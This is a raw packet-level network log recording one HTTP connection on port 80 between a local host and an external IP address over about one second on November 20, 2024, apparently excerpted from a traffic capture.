Nov 20, 2024 05:02:18.090938091 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.090977907 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.090991974 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.091021061 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.091044903 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.091087103 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.091100931 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.091141939 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.091156006 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.091187954 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.091206074 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.091269970 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.122930050 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.127770901 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.980966091 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.981076956 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.981076002 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.981091976 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.981107950 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.981123924 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.981129885 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.981137991 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.981154919 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.981158018 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.981182098 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.981203079 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.981292009 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.981307030 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.981323957 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.981340885 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.981340885 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.981369019 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.981369019 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.981400967 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.981446981 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.981462002 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.981477022 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.981502056 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.981502056 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.981534004 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.981575966 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.981591940 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.981612921 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.981632948 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.981663942 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.981663942 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.981704950 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.981720924 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.981734991 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.981760979 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.981760979 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.981791973 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.981806993 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.981822014 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.981837034 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.981854916 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.981883049 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.981883049 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.982079029 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.982095003 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.982111931 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:18.982151985 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.982152939 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:18.982202053 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.094402075 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.094505072 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.094526052 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.094535112 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.094541073 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.094549894 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.094558954 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.094568968 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.094578981 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.094584942 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.094618082 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.094645977 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.094769001 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.094779968 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.094789982 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.094818115 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.094846964 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.094849110 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.094867945 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.094880104 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.094892025 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.094909906 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.094938993 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.094950914 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.094965935 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.095015049 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.095015049 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.095060110 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.095081091 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.095119953 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.095119953 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.095143080 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.095191002 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.095205069 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.095216036 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.095225096 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.095259905 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.095259905 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.095499039 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.095515013 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.095525026 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.095540047 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.095549107 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.095551968 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.095561981 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.095571995 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.095572948 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.095592022 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.095627069 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.095627069 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.095680952 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.095731020 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.095768929 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.095813036 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.095824957 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.095833063 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.095865965 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.095896006 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.095906019 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.095917940 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.095930099 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.095941067 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.095963955 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.095963955 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.095985889 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.096366882 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.096415043 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.096425056 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.096427917 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.096436024 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.096460104 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.096487999 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.096492052 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.096513033 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.096544981 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.096585989 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.096791029 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.096838951 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.096847057 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.096854925 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.096887112 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.096908092 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.096915960 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.096925974 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.096935987 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.096959114 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.096987963 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.097227097 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.097249031 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.097271919 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.097301960 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.099417925 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.099426985 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.099478960 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.099510908 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.207556963 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.207568884 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.207580090 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.207632065 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.207679987 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.207700014 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.207710981 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.207720995 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.207735062 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.207751036 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.207760096 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.207771063 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.207773924 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.207773924 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.207792044 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.207801104 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.207809925 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.207811117 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.207809925 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.207828045 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.207838058 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.207849979 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.207854033 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.207854033 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.207879066 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.207895994 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.208007097 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.208015919 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.208025932 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.208044052 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.208054066 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.208060980 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.208065033 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.208089113 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.208089113 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.208123922 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.208276033 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.208308935 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.208319902 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.208328962 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.208357096 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.208580971 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.208591938 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.208600998 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.208632946 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.208652973 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.208658934 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.208663940 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.208674908 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.208703995 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.208734989 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.209197998 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.209216118 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.209224939 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.209248066 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.209278107 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.209289074 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.209300041 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.209319115 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.209338903 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.209367037 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.209775925 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.209786892 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.209796906 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.209825993 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.209856033 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.209860086 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.209872007 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.209903002 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.209947109 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.210210085 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.210220098 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.210231066 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.210263014 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.210263014 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.210270882 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.210282087 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.210289955 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.210316896 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.210346937 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.210689068 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.210696936 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.210706949 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.210717916 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.210726976 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.210736036 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.210736990 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.210755110 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.210782051 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.211273909 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.211283922 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.211293936 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.211308002 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.211329937 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.211338997 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.211361885 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.211361885 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.211385012 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.211393118 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.211404085 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.211412907 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.211435080 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.211435080 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.211466074 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.211658001 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.211675882 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.211687088 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.211705923 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.211735010 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.211740971 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.211751938 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.211760998 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.211782932 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.211811066 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.212148905 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.212158918 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.212168932 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.212191105 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.212201118 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.212213039 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.212219954 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.212234020 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.212256908 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.212285995 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.212577105 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.212585926 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.212630987 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.212630987 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.212644100 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.212656021 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.212667942 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.212677002 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.212687016 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.212718010 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.212718010 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.213006973 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.213016033 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.213026047 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.213053942 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.213054895 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.213064909 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.213073969 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.213079929 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.213094950 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.213114023 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.213464975 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.213475943 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.213485956 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.213504076 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.213512897 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.213522911 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.213532925 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.213536978 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.213565111 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.213593960 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.213897943 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.213907957 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.213917971 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.213929892 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.213939905 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.213952065 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.213952065 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.213983059 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.214345932 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.214356899 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.214374065 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.214382887 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.214396000 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.214397907 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.214406013 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.214418888 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.214467049 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.214467049 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.320398092 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.320410013 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.320421934 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.320489883 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.320523977 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.320528984 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.320540905 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.320552111 CET	80	49730	185.156.72.65	192.168.2.4
